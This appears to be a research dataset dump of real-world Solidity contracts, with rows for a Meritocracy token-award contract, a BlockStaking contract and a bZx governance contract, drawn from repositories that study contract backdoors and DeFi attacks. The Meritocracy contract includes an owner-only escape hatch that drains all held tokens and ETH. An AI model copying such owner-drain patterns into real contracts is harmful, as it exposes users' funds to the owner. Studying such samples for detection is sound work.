uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetWriterKey(_id, _writerKey, _nonce);
return true;
}
}
| 163,225 | 11,304 |
0fb3cb5c8aa684d37c3e63db43ba417d166e7420477e4a03392c05467d4742da
| 16,368 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x3d8ec98c08b55ec42310aace562e077d784591d6.sol
| 2,808 | 12,269 |
pragma solidity ^0.5.0;
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 supply);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Meritocracy {
struct Status {
address author;
string praise;
uint256 amount;
uint256 time; // block.timestamp
}
struct Contributor {
address addr;
uint256 allocation;
uint256 totalForfeited; // Allocations they've burnt, can be used to show non-active players.
uint256 totalReceived;
uint256 received; // Ignore amounts in Status struct, and use this as source of truth, can withdraw at any time
// bool inPot; // Require Contributor WARN: commented because there's some edge cases not dealt with
Status[] status;
}
ERC20Token public token; // token contract
address payable public owner; // contract owner
uint256 public lastForfeit; // timestamp to block admins calling forfeitAllocations too quickly
address[] public registry; // array of contributor addresses
uint256 public maxContributors; // Dynamic finite limit on registry.
mapping(address => bool) public admins;
mapping(address => Contributor) public contributors;
Meritocracy public previousMeritocracy; // Reference and read from previous contract
event ContributorAdded(address _contributor);
event ContributorRemoved(address _contributor);
event ContributorWithdrew(address _contributor);
event ContributorTransaction(address _cSender, address _cReceiver);
event AdminAdded(address _admin);
event AdminRemoved(address _admin);
event AllocationsForfeited();
event OwnerChanged(address _owner);
event TokenChanged(address _token);
event MaxContributorsChanged(uint256 _maxContributors);
event EscapeHatchTriggered(address _executor);
// Functions only Owner can call
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Functions only Admin can call
modifier onlyAdmin {
require(admins[msg.sender]);
_;
}
function allocate(uint256 _amount) external {
// Locals
// Contributor memory cAllocator = contributors[msg.sender];
// Requirements
uint256 individualAmount = _amount / registry.length;
// removing decimals
individualAmount = (individualAmount / 1000000000000000000 * 1000000000000000000);
uint amount = individualAmount * registry.length;
require(token.transferFrom(msg.sender, address(this), amount));
// Body
// cAllocator.inPot = true;
for (uint256 i = 0; i < registry.length; i++) {
contributors[registry[i]].allocation += individualAmount;
}
}
function getRegistry() public view returns (address[] memory) {
return registry;
}
// Allows a contributor to withdraw their received Token, when their allocation is 0
function withdraw() external {
// Locals
Contributor storage cReceiver = contributors[msg.sender];
// Requirements
require(cReceiver.addr == msg.sender); //is sender a Contributor?
require(cReceiver.received > 0); // Contributor has received some tokens
require(cReceiver.allocation == 0); // Contributor must allocate all Token (or have Token burnt) before they can withdraw.
// require(cReceiver.inPot); // Contributor has put some tokens into the pot
// Body
uint256 r = cReceiver.received;
cReceiver.received = 0;
// cReceiver.inPot = false;
token.transfer(cReceiver.addr, r);
emit ContributorWithdrew(cReceiver.addr);
}
// Allow Contributors to award allocated tokens to other Contributors
function award(address _contributor, uint256 _amount, string memory _praise) public {
// Locals
Contributor storage cSender = contributors[msg.sender];
Contributor storage cReceiver = contributors[_contributor];
// Requirements
require(_amount > 0); // Allow Non-Zero amounts only
require(cSender.addr == msg.sender); // Ensure Contributors both exist, and isn't the same address
require(cReceiver.addr == _contributor);
require(cSender.addr != cReceiver.addr); // cannot send to self
require(cSender.allocation >= _amount); // Ensure Sender has enough tokens to allocate
// Body
cSender.allocation -= _amount; // burn is not adjusted, which is done only in forfeitAllocations
cReceiver.received += _amount;
cReceiver.totalReceived += _amount;
Status memory s = Status({
author: cSender.addr,
praise: _praise,
amount: _amount,
time: block.timestamp
});
cReceiver.status.push(s); // Record the history
emit ContributorTransaction(cSender.addr, cReceiver.addr);
}
function getStatusLength(address _contributor) public view returns (uint) {
return contributors[_contributor].status.length;
}
function getStatus(address _contributor, uint _index) public view returns (address author,
string memory praise,
uint256 amount,
uint256 time) {
author = contributors[_contributor].status[_index].author;
praise = contributors[_contributor].status[_index].praise;
amount = contributors[_contributor].status[_index].amount;
time = contributors[_contributor].status[_index].time;
}
// Allow Contributor to award multiple Contributors
function awardContributors(address[] calldata _contributors, uint256 _amountEach, string calldata _praise) external {
// Locals
Contributor storage cSender = contributors[msg.sender];
uint256 contributorsLength = _contributors.length;
uint256 totalAmount = contributorsLength * _amountEach;
// Requirements
require(cSender.allocation >= totalAmount);
// Body
for (uint256 i = 0; i < contributorsLength; i++) {
award(_contributors[i], _amountEach, _praise);
}
}
// Add Contributor to Registry
function addContributor(address _contributor) public onlyAdmin {
// Requirements
require(registry.length + 1 <= maxContributors); // Don't go out of bounds
require(contributors[_contributor].addr == address(0)); // Contributor doesn't exist
// Body
Contributor storage c = contributors[_contributor];
c.addr = _contributor;
registry.push(_contributor);
emit ContributorAdded(_contributor);
}
// Add Multiple Contributors to the Registry in one tx
function addContributors(address[] calldata _newContributors) external onlyAdmin {
// Locals
uint256 newContributorLength = _newContributors.length;
// Requirements
require(registry.length + newContributorLength <= maxContributors); // Don't go out of bounds
// Body
for (uint256 i = 0; i < newContributorLength; i++) {
addContributor(_newContributors[i]);
}
}
// Remove Contributor from Registry
// Note: Should not be easy to remove multiple contributors in one tx
// WARN: Changed to idx, client can do loop by enumerating registry
function removeContributor(uint256 idx) external onlyAdmin { // address _contributor
// Locals
uint256 registryLength = registry.length - 1;
// Requirements
require(idx < registryLength); // idx needs to be smaller than registry.length - 1 OR maxContributors
// Body
address c = registry[idx];
// Swap & Pop!
registry[idx] = registry[registryLength];
registry.pop();
delete contributors[c]; // TODO check if this works
emit ContributorRemoved(c);
}
// Implictly sets a finite limit to registry length
function setMaxContributors(uint256 _maxContributors) external onlyAdmin {
require(_maxContributors > registry.length); // have to removeContributor first
// Body
maxContributors = _maxContributors;
emit MaxContributorsChanged(maxContributors);
}
function forfeitAllocations() public onlyAdmin {
// Locals
uint256 registryLength = registry.length;
// Requirements
require(block.timestamp >= lastForfeit + 1 weeks); // prevents admins accidently calling too quickly.
// Body
lastForfeit = block.timestamp;
for (uint256 i = 0; i < registryLength; i++) { // should never be longer than maxContributors, see addContributor
Contributor storage c = contributors[registry[i]];
c.totalForfeited += c.allocation; // Shaaaaame!
c.allocation = 0;
// cReceiver.inPot = false; // Contributor has to put tokens into next round
}
emit AllocationsForfeited();
}
// Set Admin flag for address to true
function addAdmin(address _admin) public onlyOwner {
admins[_admin] = true;
emit AdminAdded(_admin);
}
// Set Admin flag for address to false
function removeAdmin(address _admin) public onlyOwner {
delete admins[_admin];
emit AdminRemoved(_admin);
}
// Change owner address, ideally to a management contract or multisig
function changeOwner(address payable _owner) external onlyOwner {
// Body
removeAdmin(owner);
addAdmin(_owner);
owner = _owner;
emit OwnerChanged(owner);
}
// Change Token address
// WARN: call escape first, or escape(token);
function changeToken(address _token) external onlyOwner {
// Body
// Zero-out allocation and received, send out received tokens before token switch.
for (uint256 i = 0; i < registry.length; i++) {
Contributor storage c = contributors[registry[i]];
uint256 r = c.received;
c.received = 0;
c.allocation = 0;
// WARN: Should totalReceived and totalForfeited be zeroed-out?
token.transfer(c.addr, r); // Transfer any owed tokens to contributor
}
lastForfeit = block.timestamp;
token = ERC20Token(_token);
emit TokenChanged(_token);
}
// Failsafe, Owner can escape hatch all Tokens and ETH from Contract.
function escape() public onlyOwner {
// Body
token.transfer(owner, token.balanceOf(address(this)));
owner.transfer(address(this).balance);
emit EscapeHatchTriggered(msg.sender);
}
// Don't want to require in changeToken incase bad behaviour of ERC20 token
function escape(address _token) external onlyOwner {
// Body
ERC20Token t = ERC20Token(_token);
t.transfer(owner, t.balanceOf(address(this)));
escape();
}
// // if previousMeritocracy != address(0) { // TODO better truthiness test, casting?
// // // Do Stuff
// // }
// }
// constructor(address _token, uint256 _maxContributors, address _previousMeritocracy) public {
// }
// Set Owner, Token address, initial maxContributors
constructor(address _token, uint256 _maxContributors) public {
// Body
owner = msg.sender;
addAdmin(owner);
lastForfeit = block.timestamp;
token = ERC20Token(_token);
maxContributors= _maxContributors;
// previousMeritocracy = Meritocracy(_previousMeritocracy);
// importPreviousMeritocracyData() TODO
}
}
| 142,642 | 11,305 |
43a413c6e1d4fabc0d4270cd6e9d570cc6c3619e3c4a0f134d85065a25d5c62e
| 25,918 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/48/48e6EBE2aE46F6D7dfD7F9fD548B718e10375D1d_BlockStaking.sol
| 4,361 | 17,610 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IMemo is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract BlockStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IMemo;
IERC20 public immutable Block;
IMemo public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 blockAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Block,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Block != address(0));
Block = IERC20(_Block);
require(_Memories != address(0));
Memories = IMemo(_Memories);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Block.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(Memories.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
Memories.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = Memories.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = Memories.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Block.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
Memories.safeTransferFrom(msg.sender, address(this), _amount);
Block.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return Memories.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
Memories.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = Memories.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Block.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 120,798 | 11,306 |
4532b546b84b3c6a9498a5f51a44eb7a9d493ac6c6b75cb23635c1591efd04fc
| 15,622 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Lending and Borrowing/FlashLoan Attack/Price Manipulation Attack/bZxv1/GovernorAlphaBZX.sol
| 3,683 | 15,268 |
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
contract GovernorAlphaBZX {
/// @notice The name of this contract
string public constant name = "bZx Governor Alpha";
function quorumVotes() public pure returns (uint) { return 41200000e18; } // 41,200,000 = 4% of BZRX
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 10300000e18; } // 10,300,000 = 1% of BZRX
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the protocol Timelock
TimelockInterface public constant timelock = TimelockInterface(0xBB536EB24Fb89B544d4Bd9e9F1f34D9Fd902bb96);
/// @notice The address of the staking contract
StakingInterface public staking;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address staking_) public {
staking = StakingInterface(staking_);
guardian = msg.sender;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
uint latestProposalId = proposalCount + 1;
uint votes = staking._setProposalVals(msg.sender, latestProposalId);
require(votes > proposalThreshold(), "GovernorAlphaBZX::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlphaBZX::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlphaBZX::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlphaBZX::propose: too many actions");
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount = latestProposalId;
Proposal memory newProposal = Proposal({
id: latestProposalId,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
latestProposalId = latestProposalIds[msg.sender]; // repurpose variable
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlphaBZX::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlphaBZX::propose: one live proposal per proposer, found an already pending proposal");
}
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlphaBZX::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlphaBZX::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlphaBZX::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlphaBZX::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || staking.votingBalanceOfNow(proposal.proposer) < proposalThreshold(), "GovernorAlphaBZX::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlphaBZX::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlphaBZX::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlphaBZX::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlphaBZX::_castVote: voter already voted");
